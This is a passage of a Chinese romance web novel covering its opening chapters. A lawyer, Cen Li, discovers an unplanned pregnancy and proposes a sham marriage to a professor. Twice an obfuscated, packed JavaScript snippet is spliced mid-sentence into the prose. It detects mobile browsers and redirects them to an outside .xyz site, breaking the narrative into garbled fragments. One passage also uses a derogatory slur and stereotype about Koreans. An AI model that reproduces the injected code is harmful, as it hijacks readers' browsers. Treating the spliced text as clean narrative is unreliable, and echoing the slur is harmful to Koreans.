《不要和陌生人接吻》 1. ①个吻 《不要和陌生人接吻》 郝多米/文 晋江文学城独家发表/2025.6.20 - 雨过天晴,百废待兴。 岑礼在例假推迟以后侥幸了一周,终于趁着出外勤的机会,抽空在看守所附近的药店买了只验孕笔,会见完当事人之后借用看守所的卫生间,紧张地等待着老天爷对她那一晚的审判结果。 岑礼拆开包装之后先亲吻了一下笔帽,心想我这毕竟是初犯,老天爷看在我不是蓄意造人而是激情犯罪的情况下,能不能从轻发落。晚个几天例假吓唬吓唬她得了,还能真让她怀孕啊? 然后按照说明书一通操作猛如虎,心里默念着“孩子退退退退退”,结果时间一到,判决书显映,清晰可见的两条红线让她当场破防。 草!老天爷为何如此残忍! 看守所的卫生间逼仄,消毒水味刺鼻,不宜久留。 岑礼长舒一口气,抽出一张手帕纸,摊开,将手里的“判决书”包好,塞进了她Onthego的夹层里。 上车,启动,好在mini小巧,一路见缝插针。 岑礼没给自己预留太多的反思时间,直奔周边最近的医院。 激情犯罪不该判这么重,她不管,现在她要立即提起上诉,抽血查看二审结果。 岑礼早上出门迟了,父亲岑肃山和继母徐悦比她早半个小时出门,她洗漱完看了眼餐桌上的冷油条,半点胃口也无。 到了律所就是一堆杂活儿,没有意义的大会开了四十多分钟,散会后又被师傅叫进办公室开了十分钟小会,等忙完就去便利店买早餐的计划一再推迟,最后完全被抛之脑后。 直到抽完血,坐在医院门诊大厅冰凉的椅子上,看见旁边的阿姨在吃饼干,她才意识到自己一上午颗米未进。 按照徐悦的话说,她这是要成仙了。 等待结果的时间里,岑礼在医院旁边随便找了家餐馆,点了碗黄鱼面。 谁能想到,平日里她最爱吃的面,这会儿闻着味儿,胃里却是止不住的恶心。 从前垂涎的奶白浓香,现在却只剩腥气侵喉。 “yue……”岑礼眼疾手快抽了张纸掩住口鼻,改口让老板帮忙打包,又点了份重口味的拌川,两份一起提着回了医院。 却没去门诊大楼,径直进了消化内科住院部找徐悦。 徐悦在这家医院干了半辈子,岑礼过来的次数屈指可数。 “您好,我找徐悦徐护士长。”岑礼走到护士站,朝里望。 “哎呦,是礼礼呀。”同小区的邻居苏芳也是这儿的护士,几步走上前来,给几个小护士介绍:“这是徐护士长的女儿礼礼,气质好吧?干律师的。” 一个小护士表情奇怪,挠头道:“不是说徐护士长家的律师,是个帅哥么,这怎么还有一个美女律师。” 岑礼摆摆手,“我们家两个律师呢,大家有需要还是尽量找我哥,毕竟他干这一行更久,经验丰富,只是这价格嘛……” 岑礼点到即止,将手里的餐盒搁到台面上,“苏阿姨,您可以帮忙叫一下人嘛,我给她打包了面,再晚一会儿怕是要坨了。” 苏芳抱着胳膊,震惊,“老徐前几天退下去了呀,已经好几天没上班了,你不知道?” “听说你哥明年结婚,结了婚肯定很快就得要孩子,老徐现在退下来也好,正好有精力帮着带带孙子,我都羡慕死嘞。” 苏芳透过白色塑料袋看了一眼,眼尖道:“黄鱼焖面啊,好久没切过了,还真有点馋格一口呢。” 岑礼抓着袋子的手一松,为自己对徐悦的不上心倍感愧疚。 今天来这一趟,好像给她下面子了。 而后立即眼快地,“那给阿姨侬切好了。” 岑礼上前挽住苏芳的手,跟着她去休息室,吃面之余又关心了徐悦两句,解释道:“最近律所太忙了,我好久没回家去了,怎么把这事儿给忘了。谢谢您提醒我,今天这事儿您别告诉我阿姨,明天我买个礼物回家看看去。” “是该回去看看了,”苏芳吃着面,给岑礼递了两张纸巾,终于问道:“你今天怎么想着过来找你阿姨,是哪里不舒服了?” 休息室里空调开着,暖气十足,岑礼不敢离那黄鱼面太近,坐在窗户边,将窗户开了个缝。 吃了几口面,去包里拿水,手指碰到包包里衬的夹层时,她的心跳漏了一拍。 不知怎么突然起了阵风,抬起头的瞬间,额前的碎发被打乱。 岑礼将头发理理好,笑说:“没有的事,就是在附近见个当事人,刚好路过。” 岑礼下午还有工作,苏芳吃碗面也要去值班,两人在护士站分开。 岑礼冲她使了个眼色,提醒她今天的事儿别告诉徐悦,苏芳吃人家最短,伸手比了个“OK”,嘴里喃喃:“虽说是后妈吧,但这女儿和亲生的有什么区别,老徐这二婚找的真是没话说。” 话音未落,身后一排护士齐刷刷回头看她。 “你刚才说……徐护士长是二婚啊?” 其中一个护士多嘴,接话:“总听她炫耀自家老公和儿子,从来没提起过这个女儿倒是真的,原来不是亲生的呀。” “是说呢,要是亲生的,这么漂亮的女儿,也是律师,怎么会从来不在我们面前炫耀?” 几人七嘴八舌谈论起来,苏芳抿唇不语,为刚才的多嘴感到懊悔。 岑礼走出住院部,特地绕了一圈,才往妇产科门诊走去。 时间差不多,岑礼在一楼大厅打印出报告,刚扫过一眼,未抓住重点,被旁边的大叔狠狠撞了一把。 岑礼个子不高,江浙沪女孩儿里的中等水平,刚过一米六,穿上厚底或者小高跟能超过一六五。 干律师这一行,代理人首先根据气质来推断他们的专业度和个人能力,岑礼习惯上班穿五六厘米左右的高跟鞋。 肩上挎着包,手里捏着报告单,岑礼没有防备,被这么一撞,整个人原地转了180度。 踉跄过后平衡感终于还是失控,岑礼向旁边栽倒过去。还好有所缓冲,她双手警觉地先行着地,下意识地护住了自己的肚子。 “不好意思啊。”大叔回过头来,轻描淡写来了一句,连伸手拉一把的动作也无,直接插队到旁边的打印机打印病理报告。 被他插队的小姑娘一脸无措,想张嘴说句什么,表情却又胆怯。 是了,这个年纪的男性,脱离了女性家属的约束,往往比任何妖魔鬼怪还要惊悚,别说年轻女孩子不敢招惹,换作平时,就连岑礼都是避之不及。 可今天不同,她心情本就阴郁,被他这么一撞更是雪上加霜。 在律所处处隐忍也就罢了,出门在外还要被这种低素质男欺负,岑礼不愿被肚子里的“葡萄籽”看扁,她起身拍了拍她昂贵的包,将散落在地的东西捡起塞回包里,几步上前,自他身后拍了拍他的肩膀。 “我着急,老妹儿你让我先吧。”对方没有回头,以为是被他插队的小姑娘。 明明该是好言好语的请求,他的语气却像是在下命令。 忍了一上午的情绪终于爆发,岑礼见他没有丝毫愧疚,一只手拿着包包,一只手捂住腹部,在他身旁蹲下身来,直喊:“好疼……” 男人罔若未闻,直到报告单拿到手,身边传来越来越激烈的议论声,他才朝岑礼看过来。 “哎呀,姑娘,刚才真是不好意思。”许是被周围人的目光裹挟,男人再次道歉,伸手欲搀扶她。 岑礼蹲在地上,终于看清验血报告单上“妊娠状态”四个大字,心如死灰。 岑礼半天没起,男人急了,抬腿准备开溜。 她伸手要拉,没拉住,抬头却见刚才那位被插队的小女孩儿站了出来,指着岑礼和那人说:“你刚才把人撞倒了,你不能走。” 自己吃点亏尚且忍气吞声,却能够在别人需要帮助的时候施以援手,岑礼愣了愣,再看向那小女孩儿时,心里肃然起敬。 “我就那么撞了一下,能怎么着啊,你你你……”那人指着岑礼道:“你别讹我啊,我儿子可是这医院的医生我告诉你!” 岑礼起身,“撞一下……您知道您刚才撞的是一名孕妇吗?” “孕妇怎么了?又没见红!”男人眼神不善地往她大腿上看,轻蔑道:“现在的小姑娘就是娇气,怀个孕轻轻撞一下就大惊小怪的,当年我家那口子肚子老大了,摔一跤直接把儿子摔出来,也没见她像你这样讹人的。” “既然您儿子是医生,那他应该明白是非,麻烦您打个电话叫他过来。孕妇在怀孕初期胚胎本就不稳,您刚才那么撞一下,对胎儿影响有多严重您可能不清楚,毕竟您没怀过孕,也没生过孩子,女人家的命在您眼里就不值一提。” 不出几分钟,有位穿着白大褂的医生走了过来,自称是这位大叔的儿子。 大厅里人多,刚才就引起了围观,对方担心造成不良影响,将岑礼带到自己的值班室。 刚才那个为岑礼说话的小姑娘也一路跟着,坚持要作为旁观者将事情客观叙述一遍,担心他们父子俩伙同起来一起欺负人。 说完来龙去脉,那穿着白大褂的医生抬头看了自己的父亲的一眼,似是很无奈,却又不好当着这么多人的面直接指责自己的父亲,只能弯腰向岑礼赔礼道歉,主动提出帮她安排检查,还加上了联系方式,说后续如果有任何身体不适,他必定负责到底。 岑礼离开前看了他胸前的工牌——沪江大学医学院附属第六医院,骨科副主任医师杜文韶。 儿子是个好儿子,就是这爹…… 父不教,子之过。 六院的骨科有多难进她早就有所耳闻,高学历只是最基本的条件,还有副高职称的含金量,说是天之骄子也不为过,怎么就不知道劝诫家里长辈呢。 …… 隔天是周末,岑礼买了只鸡回家,在菜市场转了半天,她戴着口罩都差点被那股味道熏出来。最后买了只乌鸡准备让徐悦炖虫草汤,店主杀好以后里三层外三层给她包好,她才肯伸手去拿。 昨天做完检查,医生毫无疑问维持了验孕棒的一审宣判,除此之外,还有更要命的。 医生在得知她从未做过流产手术之后,告知她这种情况是天生的子宫壁薄,按道理来说不易受孕。这种情况下做人流手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850792|175851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术风险极高,而且一旦流产,之后再想要怀孕会非常困难。 岑礼因此进退维谷。 失眠了一夜之后,岑礼脑海中冒出一个荒唐的决定。 她要将这个孩子生下来! 原因也很简单。 岑礼喜欢孩子,虽然这个孩子的到来实在意外,那按照医生的话说,她子宫壁这么薄胚胎都可以着床,说明这孩子和她有缘分。她今年二十六,前十年一直喜欢着一个不可能的人,照目前的情况来看,后面十年也不太可能遇到其他喜欢的人,如果再过两年她还是不谈恋爱不结婚,那么有个孩子,至少家里人不会用她老了孤苦伶仃那样的话来push她。 再者说,宝宝爸爸的基因那么好,既是陌生男女,去父留子,以后也没有人来和她争抚养权。那种质量的精子一罐都得不少钱呢,她没花钱,还感受到了不止一次的性.高.潮,那可是小玩具给不了的,简直赚翻! 打定主意以后,岑礼再次发愁。 未婚先孕这种事儿,在她爹岑肃山眼里可是伤风败俗的事情,以往他没少在家里批评那些奉子成婚的年轻女教师,之前还有个未婚先孕休学的女学生,他说起来痛心不已。 在他们的老观念里,未婚先孕的女孩儿总是不知检点、作风不端,却从来没有人将注意力落在搞大女人肚子的男性身上。这就是现实。 因此,如果想要生下这个孩子,她必须首先找个人结婚才行。 否则依照岑肃山的性格,一定会在她肚子大起来之前逼着她去打掉,最多考虑到的身体状况给她找一个经验丰富的老医生主刀,这就是他父爱的全部体现了。 想到这里,岑礼决定见一见之前徐悦说的那个什么医生。 之前徐悦曾两次想帮忙牵线,让她和他们医院一位年轻有为的医生相亲认识一下,当时岑礼一心只有工作,心里又装着徐远忱,怎么说都不肯。如今病急乱投医,要想在肚子大起来之前找到这个冤大头,把事情办成,她也只能想到这个人了。 可谁知道,饭桌上,岑礼主动向徐悦提起那位年轻有为的医生时,徐悦却兜头泼下一盆冷水。 “人家年初就相亲相上了,国庆的时候婚礼都办过了,你这时候想起来了?”徐悦觉得好笑,“那时候我说介绍你们认识,你说没兴趣,后来转身和卫家那小子谈起了恋爱,那我还能怎么说,只能给人家介绍别人了呀,格年头好男人也很抢手额咯。” “年初相亲国庆就结婚了啊,这速度是不是有点太快了?”岑礼有些惋惜,依稀想起之前徐悦介绍那人的时候,用过两个形容词,一是宽厚,二是有爱心,她如果领完证就将怀孕的事情向人家坦白,说不定还真能得到谅解。 可惜现在说什么都晚了,人家都已经结婚了。 岑礼在家住了一晚,隔天去律所加班,翻了一圈通讯录里的代理人,也没能找出下一个合适的人选。 直到……临近傍晚的时候,她接到了一通电话。 电话接起,那边自报家门:“冒昧打扰了岑律师,我是之前去您家里找过岑教授的小檀,檀砚书。您当时给了我一张名片,不知道您还有没有印象?” 岑礼手指抠在桌布上,“有的。” 虽然只有一面之缘,但他的长相和衣品实在让人印象深刻。 只是…… 岑礼听出他的意思,委婉道:“我爸这个人比较轴,也不搞贪污腐败那一套,你如果想要加入他的科研组,还真不是送点礼就能搞定的。” 檀砚书上次吃了闭门羹,回去以后也咨询过其他两位更熟悉岑肃山的教授,终于搞明白了岑肃山多次拒绝他加入科研组的原因。 他是个在韩国出生长大的中韩混血,但国籍是中国的。他在来沪江大学之前曾在首尔大学任教过一年,如果贸然让他参与这么重要的科研项目,难保将来他不会盗取科研成果选择跳槽。 岑肃山的顾虑不无道理,可檀砚书对科研的痴迷已经病入膏肓,回国任教已经满一年,之前岑肃山拒绝他说他回国时间不久,担心他待不久,他就一直等,等到现在一年期满,他和校方续签了三年的合同,信心满满地再次申请加入岑肃山的科研小组,结果竟然又被驳回。 思来想去,谦恭地恳求他也求了,旁门左道的送礼他也试过了,都没有用。 要怎样才能说服岑肃山相信他能够稳定留在沪城,留在沪江大学呢? 眼下看来好像只有一个办法—— 檀砚书喝了口水,强迫自己忘掉岑礼和岑肃山的关系,只当她是一位普通律师,咨询道:“您说如果我找个本地人假结婚,是不是婚前需要签署财产协议这种,不知道您这边有没有模板可以提供,我可以按照市场价付您报酬。” 啊这……找人假结婚?天上掉馅饼? 岑礼没控制住内心的兴奋,拍案而起,“有有有!” “只是……有个问题不知当问不当问。” “您说。” “就是……这个假结婚的对象,您这边有确定的人选了么?” 那边沉默片刻,岑礼了然,壮着胆子道:“如果暂时没有确定的话,能不能请您考虑一下……和我结婚?” 2. ②个吻 “第一次”见檀砚书时,岑礼怎么也不会想到,这样一个完全和她八杆子打不着的人,在短短的一个月之后,竟会成为她的丈夫。 当然,她也想不到,那其实并不是他们第一次见面。 那是一个工作日的傍晚,岑礼从律所回来,弯腰在玄关处换鞋,昂贵的包包占据换鞋的凳子,她不经意地一瞥,看见一双年轻男士的球鞋。 “爸,是我哥回来了么?”她伸长脖子问道。 客厅沙发上坐着两个人,徐悦扭过头来看她,“是你爸院里的一个老师,说有点事儿找你爸,这还带了东西……” 徐悦面露难色,“你爸今天晚上有个饭局,也不知道什么时候回来,小檀这都等了好半天了……阿姨嘴笨也不知道和你们年轻人能聊什么。礼礼呀,正好你回来了,你和小檀聊聊吧。” 岑礼换好拖鞋,走过来,迎面和檀砚书打了个招呼。 男人原本就一身清冷气质,视线在她脸上驻足片刻,很快收回。 “你是岑教授的女儿?”对方面无表情地问。 连虚假客套的微笑也没有一个。 “是呀。”岑礼脱掉外套,坐下。 “檀老师,沪江大学生物系最年轻的副教授,就是之前你爸说的,他的课很多其他系的学生都争着抢着想上的那位。”徐悦介绍道,起身去给檀砚书续了杯茶。 岑礼点点头,“果然长得跟爱豆似的。” 徐悦还是情商高,捡好听的话说,将“女学生”改成“学生”之后,听上去礼貌多了。 再看他浑身上下不俗的穿搭,卡其色西裤上面搭了一件黑色翻领套头毛衣,领口拉链只拉一半,两只袖子翻折过来,露出里面的白色衬衫。 左手腕上戴着一只卡地亚的坦克表,食指上一枚素戒,除此之外再无其他配饰。 这样的叠穿层次和饰品搭配,让原本单调的单品在他身上立刻显出质感和高级。 难怪受女学生喜欢呢,换她她也乐意上这种老师的课。 岑礼想起来之前岑肃山提起他时的语气,还有后半句似夸实贬的话,很难说这老头是不是嫉妒。 毕竟岑肃山在沪江大学教了快二三十年的书,至今选修课都被评为最无聊的课程之一,从没经历过教室里人满为患的盛况。 “檀教授,喝茶。”岑礼接过徐悦端来的茶杯,搁在他面前的茶几上。 “谢谢。”檀砚书抬腕看了眼时间,端起茶杯吹了吹,没往口中送。 岑礼觉察出这人的局促。见他始终端端正正地坐着,脊背笔直,却从头至尾不曾与她有过对视,多半是个i人。 她想起自己回家前,这人就是这样和徐悦两个人干坐了半天,难怪徐悦见到她进门一副如释重负的表情。 岑礼坐了片刻,已然如坐针毡。 “阿姨,我爸没和您说他什么时候回来么?” 徐悦在厨房一通捣鼓,“只说晚上要喝点酒,估计回来会比较晚。” “家里来客人找他,你给他打电话了没?” “打过了,没人接,多半是已经喝上了。” 岑礼了然。 这人来之前也没问问岑肃山在不在家,这样贸然拿着东西上门,坐冷板凳也怪不得别人。 “我爸一般和人吃饭都不喝酒的,今天既然说了要喝酒,多半是挺重要的局,一时半会儿肯定是回不来了。” 她说的委婉,问檀砚书:“要不您改天再过来呢?” 檀砚书又看了眼时间,犹豫片刻,起身。 “那我改天再来。” 他放下茶杯,提起身侧的包,走到玄关处去换鞋。 岑礼和徐悦对视一眼,接到信号,将餐桌上的两瓶茅台小心翼翼提过去,“东西你还是拿回去吧,我爸不在家,这样贸然收了你的东西,他回来了要发火的。” 檀砚书蹲在地上穿鞋,茅台酒的包装袋纳入视线范围,他手上动作一顿,抬头看了眼岑礼。 那眼神比方才在沙发上看过来的时候,要多一层探究。 “不好意思……我们之前是不是见过?” 他避开徐悦,不确定岑礼是否愿意承认那晚。 “没有……吧。”岑礼对他毫无印象,视线在他脸上盘旋了一圈,摇头,“您肯定认错人了。” 像他这样的长相,如果之前见过,她应该不会没有印象。 “拿回去吧。”岑礼又重复了一遍刚才的话,“改天您要是再来,提前确认一下我爸在不在家,省的像今天这样白跑一趟。” 檀砚书点点头,起身的时候提上了那两瓶酒。 “方不方便留一个电话,下次我来之前提前联系你们……” 他不能直接问岑肃山,因为按照岑肃山的性子,知道他是为那事儿来的,多半在家也会说在外面。 问徐悦吧,又太冒犯。 岑礼手机在包里,现在不便去翻包,这会儿逮眼一看,瞥见玄关钥匙盒里刚好有她的一张名片,顺手给了檀砚书。 【志成律师事务所执业律师:岑礼】 送走檀砚书,岑礼一回到家就被徐悦拉到厨房去。 “我在外面吃过了回来的。”岑礼晚上和好友管佳一起简单吃了一点,聊了下手头的一个案子,本来约着饭后一起去做spa,结果管佳临时被电话叫走,她才回来早了。 “我是想和你说刚才这个小檀。”人一走,徐悦立刻不装了,洗茶杯的动作像洗晦气。 “他今天不是第一次来了,上回空着手来的,你爸爸也没在家,这回倒是有点情商知道带东西来了,可是那茅台……我瞧着你爸也不稀罕。” “他想托我爸办什么事?”岑礼捡起果盘里的一颗葡萄往嘴里塞,疑惑为什么刚才檀砚书在的时候不把水果拿出去。 “他想加入你爸的那个科研小组。”徐悦端着果盘出去。 两人重回沙发上,徐悦补充:“听你爸爸说,这人老家是延边的,父母常年在韩国务工,他也是在韩国长大的,回国之前还在首尔大学任教了一年。” “难怪衣品这么好。” “好什么呀,人家上课是看黑板呀还是看他?” 徐悦对此人的印象全依靠岑肃山的一张嘴,他当时一板一眼打过招呼,说是下次檀砚书再来,给他发条微信,他能避则避。 帮不了的事情,在学校里岑肃山就表明了态度,如果送点礼物就能动摇他,那他这个系主任这么多年不早就犯错误了? 岑礼了解自己的父亲,嫉恶如仇。 “我爸不让他加入科研组,是不是担心他会泄露科研成果?” 毕竟棒子国什么都偷,如果回头他们花大价钱再将人挖过去…… 岑礼摇摇头,后悔刚才给了他那张名片。 - 岑礼完全没有想到,檀砚书会打来这通电话。 身为律师,她的敏锐度告诉她,像他这样能主动打来这通电话咨询的人,假结婚的意向已经十分强烈,她必须要抓住这个机会。 毕竟像假结婚这么小众的诉求,她手头已经没有其他的高意向客户了。 岑礼趁热打铁,约檀砚书见面,准备用她那三寸不烂之舌,一举将他这单签下。 岑礼有车,直接将车开到沪江大学门口,到了才想起来今天是周末,檀砚书人未必在学校,又翻开通讯录给他打了个电话。 岑礼按照檀砚书给的地址,将车子开到学校旁边的一个老小区,在小区门口的一家猫咖等他。 檀砚书推开玻璃门的时候,门上的小风铃晃了晃,响起悦耳的“叮铃铃”。 岑礼没有第一时间看到他,而是专注于耳机里的音乐,那首唱到一半的《可乐》,歌词刚好定格在:可能是我的爱情,它来的太晚了。 “岑律师。”直到檀砚书在她对面坐下,她暂停音乐,将一双耳机塞回机舱里。 “檀教授。”岑礼指着桌子上的二维码,问他:“喝什么?” 檀砚书刚才在家里整理论文,中途接到个学生的电话,聊了会儿他课上布置的那道思考题。对方实在欣赏他,问他加入岑肃山教授科研项目组的事情怎么说了。 檀砚书性格一直偏冷,往往只在聊起学术问题时,言语里有那么一丝温情。 可现下,他一腔热情都快被岑肃山给消磨殆尽了。 檀砚书扫码点了杯美式,将手机递给岑礼,“他们家的豆子油脂很香,推荐你尝尝美式,或者如果你不喜欢太苦的,拿铁也还不错。” “我就不喝咖啡了,给我来一杯柠檬水吧。”岑礼没接他的手机,但还是冲他笑了笑。 手机显示时间已过下午三点,檀砚书以为岑礼是担心喝了咖啡晚上睡不好,点头道:“这个时间喝咖啡确实有些晚了。” 说着也将美式换成了拿铁。 周末的晚上,他想有个深度睡眠。 岑礼:“你误会了,我不喝咖啡,不是因为担心喝了晚上睡不着,是因为……” 她大方看向檀砚书,直接明牌,“我怀孕了。” “……”檀砚书手一抖,输错了付款密码。 第二遍才付款成功。 檀砚书背脊微不可察地往后靠了靠,直贴上沙发椅背。 “……我的?”他声音极小,想起那晚套子尺寸不合的窘迫,底气越发不足。 檀砚书幼时曾做过几年留守儿童,性格稍有些孤僻,刚被父母接去韩国的那两年,他几乎不和任何同学打交道。 他不喜欢聚集,不去公共浴室,就连上厕所也从来不用小便池,一定要在能上锁的隔间里才能尿出来。 他没见过成年男性的普遍尺寸,也没有用避孕t的经验,对所谓的尺码标准完全没有概念,套上也没发觉太明显的不妥。 怕被岑礼看出来他没经验,檀砚书当时一鼓作气,尤记得中间tt脱落好几次,他眼疾手快重新戴上,也不知道会不会降低避孕效果。 短短数十秒,檀砚书心里万千思绪缠绕,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850793|175851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头,竟发觉岑礼在笑。 “你什么时候看过我的剧本?”她不知何时抱起了一只狸花小猫,手掌摩挲它下巴,没有抬头。 “剧本?”言下之意,是假的。 “是啊,我们两个人结婚,到时候你肯定要先过我爸那一关,孩子只能是你的。” 岑礼温柔逗猫,仿佛这事儿已经敲定了,丝毫不担心对方会被她怀孕的事情吓走。 岑礼知道他的诉求,猜想是谁点拨过他,才让他想到这馊主意。 他本人一看就不像是会走这旁门左道的人。 “你之前咨询我假结婚……咨询我婚前协议的事情,难道不是想通过结婚让我爸相信你能长期稳定留在沪城,从而达到你加入科研组的目的?” “是有这么想过。”但这会儿岑礼就坐在他的面前,说她可以和他结婚,他却反而有些不知所措。 “那这事儿你也只能选我。”岑礼自信给他分析:“我爸这个人你可能不太了解,但我是他女儿,他心里那些弯弯绕绕我都门清,你说你一个万年黄金单身汉,连个女朋友都没有,现在突然结婚,你认为他会信吗?” “但是如果你的结婚对象是我,这一切就很好解释了,因为我怀孕了,我们结婚,可以理所应当被认定为奉子成婚,虽然说出去多少有点不好听,但是他看在自己外孙子的份上,怎么也不会再在这件事情上难为你。” 岑礼终于放下猫,端起服务生送上来的柠檬水,轻轻抿了一口。“我现在对爱情和婚姻都没有太强烈的期待,但是这个孩子我想生下来。我有经济条件、也有信心做一个好妈妈,我现在只需要一个人来扮演孩子ta爹,这样我爸就不会拉着我去做人流手术了。” 岑肃山那个人檀砚书应该多少有些了解,他实在是个很轴的老头儿,况且岑礼母亲去世早,老头儿一心觉着亏欠女儿,在她的人生大事上比她自己都要上心。 如果知道她想做单亲妈妈,老头儿一定会心疼得觉都睡不着,没准儿第二天就买张机票去美国把卫宇哲那个倒霉蛋给绑回来。 早知如此,她当初就不该拉着卫宇哲假扮自己男朋友,如今人家刚刚出国,正是事业发展的关键阶段,她总不好让他因为自己的事情受牵连。 毕竟按照他们两个人的关系,他们两家的关系,一旦她怀孕的事情败露,而她又没给孩子找好“爸爸”,那这口锅岑肃山毫无疑问就会给扣在卫宇哲头上。 到时候两家一逼婚,卫宇哲肯定会硬着头皮承认这孩子是他的,说不定在美国总部屁股还没坐热就要收拾东西回国。 岑礼心里难受,她是真心拿卫宇哲当朋友的,所以她不想再耽误他了。 比起一味地亏欠别人,她现在更愿意选择互惠互利,就像她现在和檀砚书这样,两人各取所需进入一段婚姻,各自的目标达成之后再分道扬镳,良心上她也比较好受些。 岑礼端起桌面上的柠檬水,柠檬片的颜色被温水浸泡冲淡,酸涩感却比先前那一口要更甚。但并不难入口,相反,她很喜欢这种微酸的口感。 岑礼唇角一弯,看向檀砚书。 “而且……我之前有一个‘男朋友’,如果现在突然换一个人结婚,想让他们接受,这个人必须得是你这样的。” 檀砚书和她以往的圈子完全不同,神秘、禁欲、浑身上下不可亵玩的冷淡气质。只有他这样的男人,才能说服大家谅解她的鬼迷心窍。 檀砚书眼里的朦胧逐渐清晰,又逐渐朦胧。 “为什么?” “因为我原来的‘男朋友’虽然长得也还可以,但确实比不过檀教授你。” 在檀砚书抵达猫咖之前,岑礼在沪江大学的超话和贴吧里检索了好几个关键词。 “谈教授”、“谭教授”、“生物系教授”,然后才发现他的姓氏其实是檀木的檀。 很小众的姓,岑礼也是第一回见。 再看他的全名——檀砚书,极有古色古韵的三个字,倒是和她的名字意外般配。 “你发觉没有,我们两个就连名字都像是情侣名,说明我们根本就是天造地设的一对呀!没有人比我们俩更适合假结婚了!你觉得呢?”岑礼亮晶晶的一双大眼睛望着他,满心期待他能在这时候点头。 “你的意思是,我要扮演你的劈腿对象?”新信息一个接一个地抛出,檀砚书一时应接不暇,脑子里简单梳理过后,仍觉得这个提议像是一场闹剧。 “没事,你可以装作不知道我之前有‘男朋友’这件事情。” “我是真的不知道……” 如果他知道,那天晚上说什么他也不会允许自己冒犯她。 所以她现在怀的孩子是前男友的?她们分手了,什么时候分手的,是因为他吗?如果真的是与他有关,那么他是不是理所应当应该帮她? 两人互相看着,气氛一时间变得稍显凝重。 半晌,拿铁表面的拉花渐渐化掉,檀砚书终于开口:“可以给我一点时间考虑一下吗?” 3. ③个吻 岑礼刚转执业三个月,之前接的案子全靠师傅大发慈悲施舍,如今可以自己接案子了,她却苦于找不到案源,三个月也只接了个法律援助的案子。同在一家律所,岑礼和徐远忱的境遇却南辕北辙。 徐远忱大岑礼四岁,研二就进了志成所,带他的是志成的创始合伙人刘志文律师,人人都说他是天生干律师的好苗子。 而岑礼,在这家精英云集的当红律所,从来无人问津。 从小到大,岑礼一直在追赶他的脚步,选择文科,填报法律专业,考研、参加司法考试、进志成所。 这么多年,她始终是那个没有主见、只知道跟在哥哥屁股后面的小女孩。 如果不是徐远忱引荐,岑礼连这家律所的门槛都踏不进。 开完晨会,岑礼坐在工位上整理当事人的案情资料,耳边是师傅佟文涛和另一位律师闲聊的声音。 志成所所在的写字楼坐落于沪城最文艺的南京西路上,又在高层,佟文涛的办公室朝向好,面积大,办公桌旁有张大理石茶桌,他空下来的时候就坐在那里煮茶,俯瞰这座繁华之城。 岑礼转执业之前一直跟在佟文涛身边,在她对律师的整个工作流程还不清晰的时候,她的茶艺水平已经炉火纯青。很多时候佟文涛接待客户,都是她在一旁煮茶,顺便偷师学一学他谈客户的技巧。 “师傅。”岑礼敲了敲办公室虚掩着的门,提醒:“我们该出发了。” 佟文涛看了眼墙壁上的钟,起身送客,“江律,这案子要不你还是找找别的律师吧,我先去开个庭。” 江律师面前的茶杯还满着,茶叶青绿,还没喝几口。 佟文涛去衣架上拿外套,回头道:“江律您自便,我这办公室也没什么机密,您可以把徐律叫来我这里聊。” 代理婚姻撤销官司的被告,律师费没多少就算了,还百分之一百的输局,佟文涛不想沾一手腥。 可这被告是江阳律师的大学同学,对方向他寻求帮助他无法拒绝,又担心自己来打这官司输了会影响老同学的关系,只好以自己不擅长这类官司为由,说会帮她介绍自己的同事来代理。 在志成,和江阳关系走得近的律师只有佟文涛和徐远忱,论资历当然是佟文涛排在前面,同样的案子,他来打胜算也能更大些。 佟文涛穿衣服,岑礼就站在门口等候,手里拎着包包,眼神空空的看着窗户外面高空作业的工人。 “这是徐远忱律师的师妹是吧?”江阳从头到尾打量岑礼一番,“说起来师妹来咱们所也有段时间了,我记得之前听徐律说,师妹也已经转了执业了是吧,要不这个案子你试试看?正好锻炼锻炼。” 为了不受徐远忱光环的影响,岑礼在进志成所之初就让他隐瞒了两人真实的关系,只说是比较熟悉的师兄师妹,本科和硕士都毕业于沪江大学,确实不算说谎。再加上两个人姓氏本就不同,一直瞒得很好。 佟文涛顺着江阳的视线也看向岑礼。 她今天穿了条修身的毛衣裙,红色和黑色拼接,胸口一竖排的山茶花,配上她的长卷发显得分外妖娆。稀罕的是她今天没穿高跟鞋,一双平底小皮鞋,难怪刚才都走到门口了,他都没听见那熟悉的脚步声。 岑礼是典型的江浙沪长相,普通人里的小美女,五官小巧耐看,再加上她从小就生活在沪城这样的时尚大都市,穿搭上颇有些造诣,很容易就让人感觉赏心悦目。但却不是那种一眼万年、倾国倾城的长相,不熟悉她的人,会不那么容易记得她的样貌,反倒是她的穿搭更让人记忆深刻。 她的装扮很容易给人一种“专业律师”的感觉,这一点,也是佟文涛最开始选她做徒弟的原因。 “我恐怕……不太行吧。”岑礼没有底气,看看江阳,又看看佟文涛,最后看向自己的脚尖。 江阳笑笑,“没事的,这案子就算赢了,人俩也要离婚的,其实本质上对被告没什么差别,只是原告主张的返还彩礼和赔偿精神损失的这两个诉求,我同学觉得不太合理,毕竟两个人领证了,也在一起生活小半年了,就算法庭最后支持原告诉求撤销婚姻,只要钱能少还一部分,她也可以接受。” 